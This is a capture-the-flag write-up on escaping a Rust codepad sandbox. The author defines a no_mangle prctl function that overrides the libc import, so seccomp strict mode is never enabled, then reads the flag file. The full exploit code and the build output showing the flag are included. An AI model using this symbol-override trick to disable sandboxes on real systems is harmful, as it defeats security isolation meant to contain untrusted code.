This was a fun challenge. We're only allowed to use safe rust code (`-F unsafe_code` passed to rustc). First I tried to find issues that allowed me to do something unsafe from within safe rust code. However, this didn't yield any results.
Then I noticed that one can download the `codepad` binary from the web "shell" interface, via https://arcade.fluxfingers.net:1814/cat/target/release/codepad. A quick look in binja revealed that the binary was compiled with the unredacted version of `main.rs`. The sandbox is strict seccomp mode, which only allows read/write to stdin/stdout/stderr and exit. It is activated by a call to the prctl libc function:
```cprctl(22, SECCOMP_SET_MODE_STRICT);```
Since rust statically links all rust libraries (such as the `code` library we control), I was wondering whether I could override the prctl function from within the code library namespace. Turns out this actually works.We can specify a local function called `prctl` and apparently this will override the external import. We'll just have to make sure it's externally visible and not mangled (i.e., not namespaced like a normal rust function):
```rust#[no_mangle]pub extern "C" fn prctl(a: i64, b: i64) -> i64 {    println!("fake prctl");    0}```
This fake prctl will prevent the sandbox from becoming active and we can simply use rust to read the flag file.
```rustuse std::fs::File;use std::io::prelude::*;
// fake prctl#[no_mangle]pub extern "C" fn prctl(a: i64, b: i64) -> i64 {    println!("fake prctl");    0}
pub fn code() {  // now we can simply open the flag and read it, since the sandbox was never made active.
    println!("hello!");
    println!("opening file!");    let fname = "./flag.txt";
    let mut file = match File::open(fname) {        Ok(file) => file,        Err(error) => {            println!("failed :(\n{}", error);            panic!("paaanic");        }    };
    println!("reading file!");    let mut contents = String::new();    file.read_to_string(&mut contents)        .expect("something went wrong reading the file");
    println!("result:\n{}", contents);}```
the output:
```$ rusty.shplease wait...rustc 1.20.0 (f3d6973f4 2017-08-27)   Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)warning: unused variable: `a` --> lib/code/src/lib.rs:5:25  |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {  |                         ^  |  = note: #[warn(unused_variables)] on by defaultwarning: unused variable: `b` --> lib/code/src/lib.rs:5:33  |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {  |                                 ^    Finished dev [unoptimized + debuginfo] target(s) in 0.46 secs   Compiling libc v0.2.43   Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)warning: unused variable: `a` --> lib/code/src/lib.rs:5:25  |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {  |                         ^  |  = note: #[warn(unused_variables)] on by defaultwarning: unused variable: `b` --> lib/code/src/lib.rs:5:33  |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {  |                                 ^   Compiling rand v0.4.3   Compiling codepad v0.1.0 (file:///tmp/tmprliab8pe/codepad)    Finished dev [unoptimized + debuginfo] target(s) in 5.74 secs     Running `target/debug/codepad`fake prctlhello!opening file!reading file!result:flag{safe_code_is_unsafe}```